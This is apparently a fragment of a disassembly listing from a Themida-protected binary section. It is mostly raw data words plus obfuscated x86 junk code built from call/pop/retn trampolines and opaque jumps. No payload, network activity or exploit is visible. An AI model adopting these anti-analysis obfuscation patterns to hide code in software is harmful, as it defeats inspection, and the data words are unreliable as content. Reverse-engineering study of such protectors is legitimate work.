		dd 1Ch,	2BC35141h, 421E3578h, 49B0A9C7h, 11E960h, 56F0000h
		dd 43D4AD69h, 6677E274h, 0EB4F0DD8h, 0BFC77996h, 7A03899Bh
		dd 34895061h, 0FBB70F24h, 10E8h, 27A6F700h, 26FB7DCBh
		dd 0DB50E87Dh, 0A8461B3Eh, 16D7815Bh, 5F5E46D7h, 0A073B5FFh
		dd 0BB660611h, 26682791h, 0F712AB8h, 58Dh, 7C54BB00h, 34817845h
		dd 35BBD924h, 199D2971h, 8D060E1Dh, 11A07B85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 75F652A5h, 0E9EDDBB5h, 14h, 179E521Dh, 5BBE5A99h, 502012AFh
		dd 88F49043h, 5D46B6DAh, 503DB390h, 6A90DA8Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 2151C352h, 0EB168CDh, 259D8BBCh, 0B7060E0Ch,	0D595FF10h
		dd 61060E0Eh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	98C35343h, 44CCDB8Eh, 5E8E8h, 56730000h, 8B142ACAh
		dd 0E2DED9Dh
		dd 85C75F06h, 60E28D9h,	3, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 0D7C35040h, 902C4DD4h, 4814C7C7h, 7BBD8342h
		dd 611A0h, 44840Fh, 10E90000h, 8C000000h, 1A27FFBDh, 12863CE5h
		dd 2B5DCF71h, 0E9592911h, 45h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0ACC35141h,	0BBFB8B0Bh, 2526256Fh
		dd 319D9D8Bh, 3050060Eh, 4400110Ch, 0E8C10111h,	11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 6D7434EEh, 0A80CA298h
		dd 56006AD1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 656A048Fh, 6820Fh, 0B5890000h, 60E22E9h
		dd 28D9BD83h, 0F03060Eh, 49E85h, 0BD83FC00h, 611A07Bh
		dd 90840F00h, 3000004h,	0E04759Dh, 7BB5FF06h, 6A0611A0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 466EC351h, 3AD65245h, 0E97C9132h,	0Fh, 9EB87DF6h
		dd 6509D07Dh, 424536B8h, 0FF0DF09Ch, 0E08D595h,	698D8906h
		dd 8B060E2Ah, 11A06FB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 430D84E6h, 0AF816DFFh
		dd 8E94218h, 1B000000h,	0EAF07C5h, 31B27892h, 0E34A5B5h
		dd 106C706h, 6A000100h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 7B10C352h, 8F10ED05h
		dd 8166116Dh, 50479EDFh, 810Fh,	34890000h, 0E9952924h
		dd 0FF060E0Ah, 11A07BB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 8BFB8B24h
		dd 0E1325BDh, 1995FF06h, 6A060E10h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B807C353h
		dd 0DB8166A8h, 0B58B05E1h, 611A06Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 8BC35343h, 57ABFBB0h, 2810Fh
		dd 0D98B0000h, 0A9858B5Fh, 6A060E00h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 1E22C352h
		dd 58C0Fh, 81660000h, 89BA3DC3h, 0C486h, 5DB58900h, 8B060E29h
		dd 0E0301BDh, 0C5958B06h, 6A060E2Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 9208C357h
		dd 0C283B5E2h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 89DD8A32h, 6A2050h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 85895DC3h, 60E24ADh,	6E8h, 0AC536200h, 660D3FA9h, 5B7836BFh
		dd 0B41C858Dh, 6A0611h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 5118FC3h, 0B88689h, 6AF80000h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 86397E61h, 0D574DC35h, 0DE960h, 43E70000h, 1A3B97D9h
		dd 32E06A11h, 0E8CCD8EFh, 5, 6010F82Eh,	1615E49h, 0E087D8Dh
		dd 7BB5FF06h, 6A0611A0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 7471C352h, 60002E68h
		dd 0B25FD459h, 14E9h, 552BB100h, 59C8D9Ch, 93BB7F78h, 0E35A9CCCh
		dd 1A962ADCh, 4995FFAEh, 8B060E1Eh, 0E3521BDh, 0E8505006h
		dd 5, 0B83FAE20h, 9E930h, 65AF0000h, 2E251E8Eh,	5F188B7Bh
		dd 2434895Fh, 11E8h, 46299400h,	345BED1Eh, 2E184B23h, 2511AFF0h
		dd 0DE9A617h, 19000000h, 0ACB4BD2Bh, 4A8ED918h,	0D81845A4h
		dd 21BD895Bh, 0FF060E20h, 11A07BB5h, 52006A06h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FFBA49A4h
		dd 0E16D195h, 0D9D8906h, 83060E1Ah, 0E30D5BDh, 840F0006h
		dd 55h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h
		dd 0E3C35646h, 0F81F4E7h, 68Ch,	59D3100h, 50060E1Dh, 4436BB66h
		dd 6A243489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 29E0C352h, 0E1039BDh, 7BB5FF06h
		dd 6A0611A0h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0C87FC357h, 2A75BD8Bh,	9D2B060Eh
		dd 60E2285h, 298195FFh,	6A060Eh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 0D5A739C3h, 0FF2D5E41h
		dd 11A07BB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 9A96AA6Fh, 601A085Dh, 95FF64F3h
		dd 60E1ABDh, 45C6DF81h,	0BD833605h, 60E29D5h, 32840F02h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0BBC4C351h, 9FD30466h,	858B2110h
		dd 60E07D1h, 890000C6h,	0E33B19Dh, 1585C706h, 60E35h, 0B000000h
		dd 0E1491BDh, 2D8D8906h, 0E9060E0Dh, 0FFFFF271h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A4C35545h, 0D73A3D33h
		dd 9D89170Bh, 60E2085h,	6AC18Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 1D0AD9C3h, 51C7FA9Fh
		dd 858DFE8Bh, 60E19C1h,	8F18589h, 0BB50060Eh, 1D9801F3h
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 728BC355h, 0CE0582FFh,	0C0B3CED6h
		dd 6A006AF8h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0C61DC353h, 0AC6D40F9h, 70CEF703h
		dd 0BE952h, 5E8C0000h, 447F7BB2h, 887ECE7Dh, 6A5FB4h, 5BDA8B50h
		dd 77DF858Dh, 13E80612h, 98000000h, 5A745B2Dh, 48FB14Bh
		dd 159B656Ah, 673768A3h, 0BD8B986Bh, 60E2FC9h, 5C0835Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 91C35646h
		dd 0F3425219h, 601854CEh, 4378E081h, 858950BCh,	60E1739h
		dd 0E1B53161h, 50060E19h, 61605160h, 50BF59h, 89614698h
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 2DD0C1C3h, 0B58900A3h, 60E20A9h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0EC400C3h, 6A2119h, 33319D89h, 9D8B060Eh, 60E28DDh
		dd 2FE195FFh, 9D89060Eh, 60E17F1h, 924B8D8Dh, 6A0611h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8925EFC3h, 0E3479B5h, 6AD1FF06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 9DEEC351h
		dd 21F18D09h, 0BD83060Eh, 60E0D79h, 0A4850F01h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 9C4CC357h, 3618D89h, 26A060Eh, 606090FCh
		dd 51FE8B66h, 0EE8615Eh, 0A1000000h, 0B257F987h
		dd 2167AD7Ah, 0FACB3E8Bh, 10E89Bh, 52560000h, 0CD5499C9h
		dd 0E67762DDh, 3CD16B0Eh, 585B5A72h, 800F5061h,	0Ah, 5B515250h
		dd 0FE8A310Fh, 6A90585Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 3937C351h, 0B589605Dh
		dd 60E0B39h, 2511858Bh,	0FF61060Eh, 0E1E4995h, 45BD8906h
		dd 0E9060E2Fh, 0E5Eh, 0E8h, 0ED815D00h,	61277E9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 29C35242h, 1B1DEE89h
		dd 0E59D8B7Fh, 0F8060E0Dh, 8405858Dh, 6A0611h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 29A01FC3h, 0D868EE5Ah, 6050516Fh, 8C0F60h, 8A000000h
		dd 896161ECh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8166A3C3h, 649F1FF7h, 35FFh, 0DC8A0000h
		dd 258964h, 9000000h, 0E0869B5h, 7585FF06h, 6A060E14h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 8D16C357h, 0B9FE83FEh, 0FF6AD98Bh, 674FEBBFh
		dd 0C1B5FF44h, 29060E07h, 0E0BDDB5h, 1FBB5206h,	5B28EC77h
		dd 2F8195FFh, 1DE9060Eh, 0F5000001h, 0B58900B0h, 60E07FDh
		dd 9D8B70E6h, 60E0869h,	850F71E4h, 6, 7018589h,	613C060Eh
		dd 0F6830Fh, 9D8B0000h,	60E17E9h, 0FC8B60Fh, 68Bh, 51BD3300h
		dd 0BA060E1Dh, 6, 8BDFB70Fh, 0CF8166C1h, 0E8C14CDEh, 599D8B04h
		dd 66060E08h, 0CB81E2F7h, 4E74F48Ch, 8E0FC82Bh,	6, 1AA9BD8Bh
		dd 0D18B060Eh, 2F41BD31h, 8E9060Eh, 29000000h, 0E28D58Dh
		dd 8BA0B306h, 0E2EC585h, 7C08306h, 83DABF0Fh, 0DE900C0h
		dd 38000000h, 4C429571h, 735510F3h, 0E1F08075h,	0CE9h
		dd 0A6878800h, 90F7E537h, 0E7B292F8h, 0FD03B2Dh, 1083h
		dd 0BB73BB00h, 59E944EEh, 29000000h, 0E1D4DB5h,	9D8D8B06h
		dd 1060E1Ch, 0E13219Dh,	1E18306h, 3E840Fh, 8B660000h, 9DA583F8h
		dd 0FE060E1Ch, 33C19D8Bh, 9589060Eh, 60E2EC5h, 1AB19D2Bh
		dd 8B0F060Eh, 17h, 12E9h, 0FAEE3C00h, 0B00ABAA0h, 5FC2F8E0h
		dd 0FD135090h, 0E90D2085h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+611DE14h]
		sub	[ebp+60E075Dh],	esi
		push	0
		mov	edi, [ebp+60E1985h]
		call	dword ptr [ebp+60E0F45h]
		sub	bx, 2089h
		mov	ecx, 857h
		push	0
		push	edx
		call	sub_59101F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59101F	proc near		; CODE XREF: Themida_:00591017p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_59101F	endp

; ---------------------------------------------------------------------------
		push	26h
		mov	ds, word ptr [ecx+2F319D89h]
		push	cs
		push	es
		and	ecx, 0FFFFFFFCh
		push	0
		push	eax
		call	sub_591047
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591047	proc near		; CODE XREF: Themida_:0059103Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_591047	endp

; ---------------------------------------------------------------------------
		mov	edi, 89FC0F7Eh
		test	eax, ebp
		sbb	[esi], cl
		push	es
		jb	loc_59107E
		jmp	loc_59107E
; ---------------------------------------------------------------------------
		dd 2F872762h, 0AE5DF8D1h, 434EE912h, 72DE6E36h
; ---------------------------------------------------------------------------
		aam	3Eh


loc_59107E:				; CODE XREF: Themida_:00591061j
					; Themida_:00591067j
		mov	eax, 0
		mov	edi, [ebp+60E09E5h]
		mov	edx, 0
		push	0
		push	esi
		call	sub_591099
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591099	proc near		; CODE XREF: Themida_:00591091p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_591099	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+eax*4+41h], 1353F76Eh
		jmp	loc_5910C2
; ---------------------------------------------------------------------------
		dw 488Eh
		dd 0B9EB988Ch, 7943471Ah
; ---------------------------------------------------------------------------
		push	18h


loc_5910C2:				; CODE XREF: Themida_:005910B1j
					; Themida_:005910CCj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5910C2
		push	0
		push	ebp
		call	sub_5910D9
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5910D9	proc near		; CODE XREF: Themida_:005910D1p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5910D9	endp

; ---------------------------------------------------------------------------
		db 0F8h, 79h, 0Fh
		dd 83h,	880D00h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0F9AE72C3h, 0D21F5C18h
		dd 0C848EB81h, 958B0FE8h, 60E2FC5h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0F0C35747h,	16A99D8Bh, 8D8B060Eh
		dd 60E0881h, 0B1BD8951h, 5F060E07h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0BF665818h, 6ADC76h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 78727AC3h, 73B93292h, 0B9BD0199h, 50060E02h,	7E8h, 44956B00h
		dd 0BA09DFD3h, 8E9h, 0C3AF000h,	0DCA64A20h, 835B5F1Fh
		dd 0E0C6DBDh, 840F0006h, 62h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0A3C35141h,	76F71B15h, 6EA7B9BFh
		dd 0B850h, 85890000h, 60E23B1h,	4DD18D8Dh, 6A060Eh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0ECE4DC3h, 0CEF54E83h, 0E1FFD4C6h, 1D95BD8Bh, 0BD83060Eh
		dd 60E28D9h, 4840F00h, 6A000005h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0E54FC352h
		dd 8F2FE51Fh, 0ECAE0F92h, 28D9BD83h, 0F01060Eh,	4ED84h
		dd 4AEB8100h, 8311D2FFh, 0E28D9BDh, 860F0306h, 4A4h, 6E9h
		dd 606B2F00h, 6018481Ah, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0F0C35242h, 0B550C2BBh, 47CCACC8h, 0CDFABABFh
		dd 0D98C6600h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0D4C35242h, 67384E7Ch, 0E1805D82h, 0FE8B6604h
		dd 840FC90Ah, 155h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 27C35646h, 0F9858B2Eh, 6A060E17h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0DF45C350h, 54CDD5CBh, 8B60A551h, 0E13ADBDh,	7D858B06h
		dd 61060E07h, 1D1D8533h, 0E781060Eh, 54FA7DA5h,	24048950h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0FDC35646h
		dd 0C4BA725Ch, 6A51EB80h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0D78166F0h
		dd 8468982Ch, 0E80C012Ah, 0Ch, 768E0D11h, 3A22AFEBh, 496C0CA6h
		dd 2434815Fh, 0C1E297Bh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ch, 0A7C35040h, 1C202EC8h, 4A44463Fh, 0FFDF8B66h
		dd 0E0ED595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 2C98B75Ch, 0D19D2B2Dh, 89060E29h
		dd 11A07B85h, 499D8906h, 0E9060E31h, 2C6h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 8AC35242h, 0C55C7E3Ah
		dd 0B82F18F2h, 0FE8B5600h, 73858B5Bh, 6A0611A0h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8B86C350h, 0E0CA59Dh, 1A8F0F06h, 0E8000000h,	0Eh, 11F86549h
		dd 0CE0B5038h, 0EE1CA13Ch, 8589859Ah, 60E30E5h,	1800C75Bh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 46E2C356h, 8D317AC1h, 60E2EF9h
		dd 0A077B58Bh, 6A0611h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 675004C3h, 605AB5EAh, 0DC1858Bh
		dd 8166060Eh, 61D889DBh, 0A659D89h, 858B060Eh, 60E1435h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 9FC35545h
		dd 0E3811855h, 13DC1F81h, 1D5D9D23h, 689060Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C9C35646h, 201B8E6h
		dd 0A6122D19h, 4D9D8B94h, 8B060E15h, 0E17F985h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 68B49969h, 19C9BD8Bh, 4689060Eh, 56006A04h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0F4C380E0h
		dd 1F8C0F96h, 0E8000000h, 5, 0D48DE481h, 0EE8E3h, 38B40000h
		dd 7C5BF51Dh, 0FA2F2A87h, 4019BFF7h, 0B7505F5Fh, 6A96A9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0BEC931C3h, 68D78166h, 13E960h, 0F5C20000h, 0F6A704AAh
		dd 287B9570h, 0A445C864h, 6F3C9C6Eh, 49BD8BD5h,	0FF060E2Ah
		dd 11A073B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 9CAF8572h, 22A1BD8Bh, 4E8060Eh, 0FF000000h
		dd 66001F03h, 50181CBBh, 448BD88Ah, 8B0424h, 89DF8B66h
		dd 0E8042444h, 0Fh, 57E075D3h, 5C5B1563h, 2F104DF0h, 0E82355C0h
		dd 7, 2C033342h, 8B86EAEEh, 585F5BFAh, 361BD8Bh, 858D060Eh
		dd 611A07Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	11C35141h, 0BB42F217h, 743589CBh, 0F525050h, 21BB6631h
		dd 89585A4Bh, 8B662404h, 0D595FFFEh, 6A060E0Eh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 0FE37C350h, 75A97205h, 7F1BD89h, 0C761060Eh,	0E28D985h
		dd 306h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0BF66CF0Ch, 0BD838F5Fh, 611A07Bh
		dd 11840F00h, 66000000h, 5128EB81h, 22E9h, 90C78000h, 63E3BF66h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 2F82C350h, 0D393F0E2h, 0CF3EA7BCh, 93CFBF66h
		dd 18F5BD8Bh, 0BD83060Eh, 60E28D9h, 4B850F03h, 0F000004h
		dd 181h, 0BD83F900h, 611A07Bh, 37840F00h, 6A000004h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 1C6DC356h, 0FBDCEBAh, 0B5FFDFBFh, 611A07Bh, 95FFBDB7h
		dd 60E08D5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	63C35242h, 1D9D8BD1h, 89060E02h, 0E18D1BDh, 6FB58B06h
		dd 6A0611A0h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 3A94C350h, 106C7h, 6A0001h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 782333C3h, 8798D89h,	0F96060Eh, 287h, 50C6B700h, 0FB9FBB66h
		dd 0FBBF0F96h, 0A07BB5FFh, 89F80611h, 0E1BB58Dh, 1995FF06h
		dd 29060E10h, 0E1BC98Dh, 6FB58B06h, 0E80611A0h,	0Ch, 6E0861ABh
		dd 5ABAD0F8h, 69892A11h, 4ADB589h, 8B5F060Eh, 0E00A985h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 902E528h, 0E2D518Dh, 0E5952906h,	89060E02h
		dd 0C486h, 0F5F1BF00h, 958B0095h, 60E2FC5h, 0A1952953h
		dd 5F060E19h, 7E1BD89h,	0C283060Eh, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 60EE825Eh
		dd 0E9E72947h, 8, 7F957C6h, 0A6B74A13h,	6A205089h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0F9D9C356h, 0A8BACE61h, 0B41C858Dh, 0CF800611h, 0B88689A0h
		dd 6A000000h, 0F0816000h, 3859D23Bh, 61CBBF0Fh,	0A07BB5FFh
		dd 6A0611h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0AF6B2CC3h, 0A6C9C9A2h, 95FF11D1h, 60E1E49h
		dd 0A5DBD23h, 6050060Eh, 69158AB8h, 11E95048h, 36000000h
		dd 9DCC2281h, 55B80A32h, 972C7A4Bh, 0E02A5EB4h,	34896158h
		dd 0C59D8B24h, 31060E02h, 0E32ED95h, 7BB5FF06h,	890611A0h
		dd 0E02959Dh, 0D195FF06h, 6A060E16h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5473C353h
		dd 250B5D6Fh, 35B589C9h, 83060E0Ch, 0E30D5BDh, 840F0006h
		dd 63h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h
		dd 74C35141h, 51086A49h, 28F0Fh, 0DE8A0000h, 509686B3h
		dd 5A310F52h, 52505058h, 0FD98B66h, 0FE831h, 0BC920000h
		dd 0DB904F4h, 58949DA6h, 9422F9C8h, 810F77h, 5F000000h
		dd 0F96585Ah, 683h, 0AD9D8B00h,	0FF060E17h, 11A07BB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0B07F4706h, 19E744Fh, 0BD8B8CA8h, 60E343Dh
		dd 0FE8h, 2FBD3C00h, 91D126D7h,	2E75D901h, 0F9EEAD8Bh
		dd 12E850h, 0E930000h, 2FD394EEh, 0CCD6CC0Dh, 33A553F1h
		dd 0E45EA66Ch, 8B5F5F5Bh, 0E09B5BDh, 8195FF06h,	57060E29h
		dd 5B73E380h, 0A07BB5FFh, 6A0611h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0EC8EE3C3h, 0DF8B38FDh
		dd 1ABD95FFh, 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0E9E4F7C3h, 14h,	5CB78012h, 110717CCh
		dd 4F9AD8CDh, 0B893273Eh, 0A1F0C024h, 1E1D9589h, 0BD83060Eh
		dd 60E29D5h, 4E840F02h,	8B000000h, 0E19E1BDh, 0D1858B06h
		dd 6A060E07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 0D31CC353h, 0C677h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D7C35343h, 0F577B3BFh
		dd 1585C718h, 60E35h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E94AC355h,	10h, 8646E1DFh
		dd 727BC774h, 27608E0Fh, 5AE35895h, 2FCD9D01h, 0BBE9060Eh
		dd 6AFFFFF2h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 2F6AC353h, 8E601FBAh, 48B0FF3h
		dd 66000000h, 0F3A02BFh, 1386h,	0EE900h, 927F0000h, 0BF9F881Fh
		dd 9F806A31h, 0F6C07A27h, 0BF66C18Bh, 1DE9F680h, 21000000h
		dd 751398h, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_592149
; ---------------------------------------------------------------------------
		db 1Fh,	28h, 5Dh
		dd 4102FE99h, 24E7E27Dh, 6CBC560h, 0E6AFA742h, 184DF722h
		dd 0F8935720h, 0D97438FFh, 0BF5A1EDBh, 0F33F03C2h, 36206728h
		dd 37A05D7Bh, 0FAB9B689h, 420B03DEh, 27E6E37Eh,	6561000Bh
		dd 42A888A4h, 29484E2Dh, 12AD027Dh, 5F3A5615h, 0F1567963h
		dd 90AC6967h, 2F4D35D9h, 10EB0782h, 5C375314h, 0CF85A15Eh
		dd 7FD9FC4Dh, 26F56CBDh, 691E2265h, 0F68EC15Bh,	142EDF9Ah
		dd 4203D24Dh, 5B691EC7h, 10AB007Bh, 0F5905413h,	0DB763AF7h
		dd 290420DDh, 0F14D6930h, 9D9BE233h, 84811CE0h,	68ACA9C5h
		dd 8A5B691Eh, 0AA4D7BCCh, 7CAFF59Dh, 3Ah, 0FAB9B60Eh, 0B0A4E1DEh
		dd 0BE5B69h, 4C7681AFh,	1B0AFF6h, 42000000h, 2CE9E786h
		dd 7F403CD7h, 0CB8C8863h, 15DAD4AFh, 50A163F9h,	2E280D09h
		dd 1B964D69h, 0BFBC57h,	0BEB6CE3Ch, 2FED9F5h, 4F4A2541h
		dd 9D95708Ch, 9E5CB8D4h, 0F3712A4Dh, 918C2BA2h,	0B05EB97Ah
		dd 77F25B69h, 0D429E0FCh, 63244139h, 5B69B024h,	0E2A6219Ch
		dd 6F8B4A47h, 0B6B29994h, 775E7AF5h, 0D13664B5h, 55AFF649h
		dd 76h,	0EFE786E7h, 322F0A26h, 25A05773h, 743D35D0h, 0BF827D58h
		dd 0FA4B0DA3h, 2EF2BBB3h, 3D29B93h, 4EA36C64h, 9C615B36h
		dd 86D79980h, 0F64AAF58h, 6A77AFh, 0DDAC0000h, 9645FD1Ch
		dd 85DA55A4h, 0F5BEB617h, 0C78E8726h, 817F5A72h, 0B068AF70h
		dd 18105B69h, 0B57C334Fh, 0EDA3BF3Ah, 0DBD31A6Bh, 0EB0AF0EEh
		dd 88B1F778h, 984F6BE6h, 0EC63E0F4h, 4AC56D90h,	0E7861886h
		dd 59102CE9h, 0AC6D6904h, 80433EDDh, 0F616132Bh, 0F45B69B0h
		dd 40B7E536h, 0E6AFF64Ch, 8, 0BE817C1Bh, 2896EBA2h, 29F8BBB6h
		dd 0B5A7A985h, 9E3DD008h, 0CC3DFA4h, 0C7C49FB7h, 0D290EC08h
		dd 716B0A81h, 0C1BC57ACh, 0A21DDEDAh, 7B7413DEh, 561B15B4h
